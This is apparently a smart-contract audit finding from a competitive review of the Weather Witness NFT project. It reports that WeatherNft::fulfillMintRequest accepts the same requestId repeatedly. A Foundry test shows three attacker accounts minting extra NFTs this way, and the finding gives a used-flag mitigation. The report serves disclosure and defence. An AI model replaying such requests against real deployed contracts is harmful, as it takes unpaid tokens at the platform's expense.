Weather Witness
First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Request Id parameter can be used multiple times for WeatherNft minting

juliancabmar

Request Id parameter can be used multiple times for WeatherNft minting

Description:
The requestId parameter on WeatherNft::fulfillMintRequest function can be reused multiple times for minting Weather NFTs and this allows malicious users to replay the same requestId and mint multiple NFTs without paying additional fees.

Impact:

  • Financial loss for the platform

  • Inflation of the NFT supply

  • Reduced trust in the system

Proof of Concept:
Add the following to the test suite:

function testRequestIdCanBeReusedForNewNftMints() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
// create attakers accounts
address attackerA = makeAddr("attackerA");
address attackerB = makeAddr("attackerB");
address attackerC = makeAddr("attackerC");
​
vm.startPrank(user);
​
linkToken.approve(address(weatherNft), initLinkDeposit);
​
bytes32 reqId = weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
);
vm.stopPrank();
​
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
​
// The valid WeatherNft minitng
uint256 tokenIdUser = weatherNft.s_tokenCounter();
vm.prank(user);
weatherNft.fulfillMintRequest(reqId);
​
// The invalid ones using the same requestId
uint256 tokenIdAttackerA = weatherNft.s_tokenCounter();
vm.prank(attackerA);
weatherNft.fulfillMintRequest(reqId);
​
uint256 tokenIdAttackerB = weatherNft.s_tokenCounter();
vm.prank(attackerB);
weatherNft.fulfillMintRequest(reqId);
​
uint256 tokenIdAttackerC = weatherNft.s_tokenCounter();
vm.prank(attackerC);
weatherNft.fulfillMintRequest(reqId);
​
assertEq(user, weatherNft.ownerOf(tokenIdUser));
assertEq(attackerA, weatherNft.ownerOf(tokenIdAttackerA));
assertEq(attackerB, weatherNft.ownerOf(tokenIdAttackerB));
assertEq(attackerC, weatherNft.ownerOf(tokenIdAttackerC));
}

Recommended Mitigation:
Add a mechanism to mark the requestId as "used" after processing.

Example:

On WheatherNftStore add:

.
.
// variables
uint256 public s_tokenCounter;
+ mapping(bytes32 => bool) public s_reqIdToAlreadyUsed;
mapping(Weather => string) public s_weatherToTokenURI;
FunctionsConfig public s_functionsConfig;
mapping(bytes32 => UserMintRequest) public s_funcReqIdToUserMintReq;
mapping(bytes32 => MintFunctionReqResponse) public s_funcReqIdToMintFunctionReqResponse;
mapping(bytes32 => uint256) public s_funcReqIdToTokenIdUpdate;
.
.

On WeatherNft::fulfillMintRequest add:

.
.
function fulfillMintRequest(bytes32 requestId) external {
+ require(!s_reqIdToAlreadyUsed[requestId], "Request Id already used");
+ s_reqIdToAlreadyUsed[requestId] = true;
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
​
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
// @? - returns without a error reason
if (response.length == 0 || err.length > 0) {
return;
}
​
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
.
.
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Multiple tokens for one `requestId`

The `WeatherNFT::fulfillMintRequest` allows a malicious user to call multiple times the function with the same `requestId`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.